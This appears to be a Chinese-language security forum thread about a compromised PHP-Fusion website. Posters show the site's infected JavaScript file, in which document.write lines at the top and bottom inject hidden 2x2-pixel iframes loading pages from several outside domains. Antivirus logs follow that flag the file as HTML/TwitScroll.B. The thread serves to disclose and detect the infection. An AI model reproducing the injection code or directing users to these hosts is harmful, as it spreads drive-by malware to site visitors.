裏面

fireold

1. http://scottisharabianlink.com/infusions/aw_ecal_panel/calendar.php?cal=week

复制代码

1. document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://canadabook.ca/zmpu.html?j=846410></iframe>');
   
2. 
   
3. document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://wiltonct.us/ccpn.html?j=846410></iframe>');
   
4. 
   
5. /*------------------------------------------
   
6. Flipbox written by CrappoMan
   
7. simonpatterson@dsl.pipex.com
   
8. ------------------------------------------*/
   
9. function flipBox(b) {
   
10.     var a;
    
11.     if (document.images["b_" + b].src.indexOf("_on") == -1) {
    
12.         a = document.images["b_" + b].src.replace("_off", "_on");
    
13.         document.getElementById("box_" + b).style.display = "none";
    
14.         if (document.getElementById("box_" + b + "_diff")) {
    
15.             document.getElementById("box_" + b + "_diff").style.display = "block"
    
16.         }
    
17.         document.images["b_" + b].src = a;
    
18.         disply = "none";
    
19.         now = new Date();
    
20.         now.setTime(now.getTime() + 1000 * 60 * 60 * 24 * 365);
    
21.         expire = (now.toGMTString());
    
22.         document.cookie = "fusion_box_" + b + "=" + escape(disply) + "; expires=" + expire
    
23.     } else {
    
24.         a = document.images["b_" + b].src.replace("_on", "_off");
    
25.         document.getElementById("box_" + b).style.display = "block";
    
26.         if (document.getElementById("box_" + b + "_diff")) {
    
27.             document.getElementById("box_" + b + "_diff").style.display = "none"
    
28.         }
    
29.         document.images["b_" + b].src = a;
    
30.         disply = "block";
    
31.         now = new Date();
    
32.         now.setTime(now.getTime() + 1000 * 60 * 60 * 24 * 365);
    
33.         expire = (now.toGMTString());
    
34.         document.cookie = "fusion_box_" + b + "=" + escape(disply) + "; expires=" + expire
    
35.     }
    
36. }
    
37. function addText(f, i, a, e) {
    
38.     if (e == undefined) {
    
39.         e = "inputform"
    
40.     }
    
41.     if (f == undefined) {
    
42.         f = "message"
    
43.     }
    
44.     element = document.forms[e].elements[f];
    
45.     element.focus();
    
46.     if (document.selection) {
    
47.         var c = document.selection.createRange();
    
48.         var h = c.text.length;
    
49.         c.text = i + c.text + a;
    
50.         return false
    
51.     } else {
    
52.         if (element.setSelectionRange) {
    
53.             var b = element.selectionStart,
    
54.                 g = element.selectionEnd;
    
55.             var d = element.scrollTop;
    
56.             element.value = element.value.substring(0, b) + i + element.value.substring(b, g) + a + element.value.substring(g);
    
57.             element.setSelectionRange(b + i.length, g + i.length);
    
58.             element.scrollTop = d;
    
59.             element.focus()
    
60.         } else {
    
61.             var d = element.scrollTop;
    
62.             element.value += i + a;
    
63.             element.scrollTop = d;
    
64.             element.focus()
    
65.         }
    
66.     }
    
67. }
    
68. function insertText(f, h, e) {
    
69.     if (e == undefined) {
    
70.         e = "inputform"
    
71.     }
    
72.     if (document.forms[e].elements[f].createTextRange) {
    
73.         document.forms[e].elements[f].focus();
    
74.         document.selection.createRange().duplicate().text = h
    
75.     } else {
    
76.         if ((typeof document.forms[e].elements[f].selectionStart) != "undefined") {
    
77.             var a = document.forms[e].elements[f];
    
78.             var g = a.selectionEnd;
    
79.             var d = a.value.length;
    
80.             var c = a.value.substring(0, g);
    
81.             var i = a.value.substring(g, d);
    
82.             var b = a.scrollTop;
    
83.             a.value = c + h + i;
    
84.             a.selectionStart = c.length + h.length;
    
85.             a.selectionEnd = c.length + h.length;
    
86.             a.scrollTop = b;
    
87.             a.focus()
    
88.         } else {
    
89.             document.forms[e].elements[f].value += h;
    
90.             document.forms[e].elements[f].focus()
    
91.         }
    
92.     }
    
93. }
    
94. function show_hide(a) {
    
95.     document.getElementById(a).style.display = document.getElementById(a).style.display == "none" ? "block" : "none"
    
96. }
    
97. function correctPNG() {
    
98.     if (navigator.appName == "Microsoft Internet Explorer" && navigator.userAgent.indexOf("Opera") == -1) {
    
99.         for (var g = 0; g < document.images.length; g++) {
    
100.             var d = document.images[g];
     
101.             var f = d.src.toUpperCase();
     
102.             if (f.substring(f.length - 3, f.length) == "PNG") {
     
103.                 var b = (d.id) ? "id='" + d.id + "' " : "";
     
104.                 var e = (d.className) ? "class='" + d.className + "' " : "";
     
105.                 var h = (d.title) ? "title='" + d.title + "' " : "title='" + d.alt + "' ";
     
106.                 var c = "display:inline-block;" + d.style.cssText;
     
107.                 if (d.align == "left") {
     
108.                     c = "float:left;" + c
     
109.                 }
     
110.                 if (d.align == "right") {
     
111.                     c = "float:right;" + c
     
112.                 }
     
113.                 if (d.parentElement.href) {
     
114.                     c = "cursor:hand;" + c
     
115.                 }
     
116.                 var a = "<span " + b + e + h + ' style="width:' + d.width + "px; height:" + d.height + "px;" + c + ";filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='" + d.src + "', sizingMethod='scale');"></span>";
     
117.                 d.outerHTML = a;
     
118.                 g = g - 1
     
119.             }
     
120.         }
     
121.     }
     
122. }
     
123. function getStyle(c, b) {
     
124.     if (typeof c == "string") {
     
125.         var a = document.getElementById(c)
     
126.     } else {
     
127.         var a = c
     
128.     }
     
129.     if (a.currentStyle) {
     
130.         var d = a.currentStyle[b]
     
131.     } else {
     
132.         if (window.getComputedStyle) {
     
133.             var d = document.defaultView.getComputedStyle(a, null).getPropertyValue(b)
     
134.         }
     
135.     }
     
136.     return d
     
137. };
     
138. /***********************************************
     
139. * Drop Down/ Overlapping Content- © Dynamic Drive (www.dynamicdrive.com)
     
140. * This notice must stay intact for legal use.
     
141. * Visit http://www.dynamicdrive.com/ for full source code
     
142. ***********************************************/
     
143. 
     
144. function getposOffset(a, d) {
     
145.     var c = (d == "left") ? a.offsetLeft : a.offsetTop;
     
146.     var b = a.offsetParent;
     
147.     while (b != null) {
     
148.         if (getStyle(b, "position") != "relative") {
     
149.             c = (d == "left") ? c + b.offsetLeft : c + b.offsetTop
     
150.         }
     
151.         b = b.offsetParent
     
152.     }
     
153.     return c
     
154. }
     
155. function overlay(e, d, a) {
     
156.     if (document.getElementById) {
     
157.         var c = document.getElementById(d);
     
158.         c.style.display = (c.style.display != "block") ? "block" : "none";
     
159.         var b = getposOffset(e, "left") + ((typeof a != "undefined" && a.indexOf("right") != -1) ? -(c.offsetWidth - e.offsetWidth) : 0);
     
160.         var f = getposOffset(e, "top") + ((typeof a != "undefined" && a.indexOf("bottom") != -1) ? e.offsetHeight : 0);
     
161.         c.style.left = b + "px";
     
162.         c.style.top = f + "px";
     
163.         return false
     
164.     } else {
     
165.         return true
     
166.     }
     
167. }
     
168. function overlayclose(a) {
     
169.     document.getElementById(a).style.display = "none"
     
170. }
     
171. NewWindowPopUp = null;
     
172. 
     
173. function OpenWindow(d, c, a, b) {
     
174.     if (NewWindowPopUp != null) {
     
175.         NewWindowPopUp.close();
     
176.         NewWindowPopUp = null
     
177.     }
     
178.     if (b == false) {
     
179.         wtop = 0;
     
180.         wleft = 0
     
181.     } else {
     
182.         wtop = (screen.availHeight - a) / 2;
     
183.         wleft = (screen.availWidth - c) / 2
     
184.     }
     
185.     NewWindowPopUp = window.open(d, "", "toolbar=no,menubar=no,location=no,personalbar=no,scrollbars=yes,status=no,directories=no,resizable=yes,height=" + a + ",width=" + c + ",top=" + wtop + ",left=" + wleft + "");
     
186.     NewWindowPopUp.focus()
     
187. }
     
188. function resize_forum_imgs() {
     
189.     var f;
     
190.     var e;
     
191.     if (self.innerWidth) {
     
192.         e = self.innerWidth
     
193.     } else {
     
194.         if (document.documentElement && document.documentElement.clientWidth) {
     
195.             e = document.documentElement.clientWidth
     
196.         } else {
     
197.             if (document.body) {
     
198.                 e = document.body.clientWidth
     
199.             } else {
     
200.                 e = 1000
     
201.             }
     
202.         }
     
203.     }
     
204.     if (e <= 800) {
     
205.         f = 200
     
206.     } else {
     
207.         if (e < 1152) {
     
208.             f = 300
     
209.         } else {
     
210.             if (e >= 1152) {
     
211.                 f = 400
     
212.             }
     
213.         }
     
214.     }
     
215.     for (var c = 0; c < document.images.length; c++) {
     
216.         var b = document.images[c];
     
217.         if (b.className != "forum-img") {
     
218.             continue
     
219.         }
     
220.         var j = b.height;
     
221.         var a = b.width;
     
222.         var d = false;
     
223.         if (a <= j) {
     
224.             if (j > f) {
     
225.                 b.height = f;
     
226.                 b.width = a * (f / j);
     
227.                 d = true
     
228.             }
     
229.         } else {
     
230.             if (a > f) {
     
231.                 b.width = f;
     
232.                 b.height = j * (f / a);
     
233.                 d = true
     
234.             }
     
235.         }
     
236.         var h = b.parentNode;
     
237.         var g = h.parentNode;
     
238.         if (h.className != "forum-img-wrapper") {
     
239.             continue
     
240.         }
     
241.         if (d) {
     
242.             h.style.display = "inline";
     
243.             if (g.tagName != "A") {
     
244.                 h.onclick = new Function("OpenWindow('" + b.src + "', " + (a + 40) + ", " + (j + 40) + ", true)");
     
245.                 h.onmouseover = "this.style.cursor='pointer'"
     
246.             }
     
247.         } else {
     
248.             h.style.display = "inline"
     
249.         }
     
250.     }
     
251.     return true
     
252. }
     
253. function onload_events() {
     
254.     resize_forum_imgs();
     
255.     correctPNG()
     
256. }
     
257. window.onload = onload_events;
     
258. document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://recoveryventurescorp.org/ozgn.html></iframe>');
     
259. document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://nasaspinesurgeons.com/hzgu.html?i=846410></iframe>');

复制代码

1. <iframe name=Twitter scrolling=auto frameborder=no align=center height=2
   
2. width=2 src=http://assessor.com/oapu.html?j=846410>
   
3. </iframe>

复制代码

1. <iframe name=Twitter scrolling=auto frameborder=no align=center height=2
   
2. width=2 src=http://canadabook.ca/zmpu.html?j=846410>
   
3. </iframe>

复制代码

1. <iframe name=Twitter scrolling=auto frameborder=no align=center height=2
   
2. width=2 src=http://nasaspinesurgeons.com/hzgu.html?i=846410>
   
3. </iframe>

复制代码

1. <iframe name=Twitter scrolling=auto frameborder=no align=center height=2
   
2. width=2 src=http://recoveryventurescorp.org/ozgn.html>
   
3. </iframe>

复制代码

1. <iframe name=Twitter scrolling=auto frameborder=no align=center height=2
   
2. width=2 src=http://wiltonct.us/ccpn.html?j=846410>
   
3. </iframe>

复制代码

Avira

2013/7/18 下午 08:31 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\AVPGMUFA\jscript[1].js'
      包含病毒或有害的程式 'HTML/TwitScroll.B' [virus]
      已採取動作：
      檔案會移動至 '541a4f5e.qua' 名稱底下的隔離區目錄。.

2013/7/18 下午 08:31 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\6IHTB3IO\jquery[4].js'
      包含病毒或有害的程式 'HTML/TwitScroll.B' [virus]
      已採取動作：
      檔案會移動至 '4c9b60e7.qua' 名稱底下的隔離區目錄。.

2013/7/18 下午 08:31 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數：        769
      目錄數：        0
      惡意程式碼數：        2
      警告數：        0

2013/7/18 下午 08:31 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\6IHTB3IO\jquery[4].js 中
      偵測到病毒或有害的程式 'HTML/TwitScroll.B [virus]'
      執行的動作：傳輸至掃描程式

2013/7/18 下午 08:31 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\AVPGMUFA\jscript[1].js 中
      偵測到病毒或有害的程式 'HTML/TwitScroll.B [virus]'
      執行的動作：傳輸至掃描程式

2013/7/18 下午 08:31 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\6IHTB3IO\jquery[4].js 中
      偵測到病毒或有害的程式 'HTML/TwitScroll.B [virus]'
      執行的動作：拒絕存取

2013/7/18 下午 08:31 [Web Protection] 發現惡意程式碼
      從 URL "http://scottisharabianlink.com/includes/jquery/jquery.js" 存取資料時，
      發現病毒或有害的程式 'HTML/TwitScroll.B' [virus]。
      已採取動作：已略過

2013/7/18 下午 08:31 [Web Protection] 發現惡意程式碼
      從 URL "http://scottisharabianlink.com/includes/jscript.js" 存取資料時，
      發現病毒或有害的程式 'HTML/TwitScroll.B' [virus]。
      已採取動作：已略過

释然的心

2013-7-19 22:36:57        恶意HTTP对象 <ht tp://scottisharabianlink.com/includes/jscript.js>：被阻止的访问。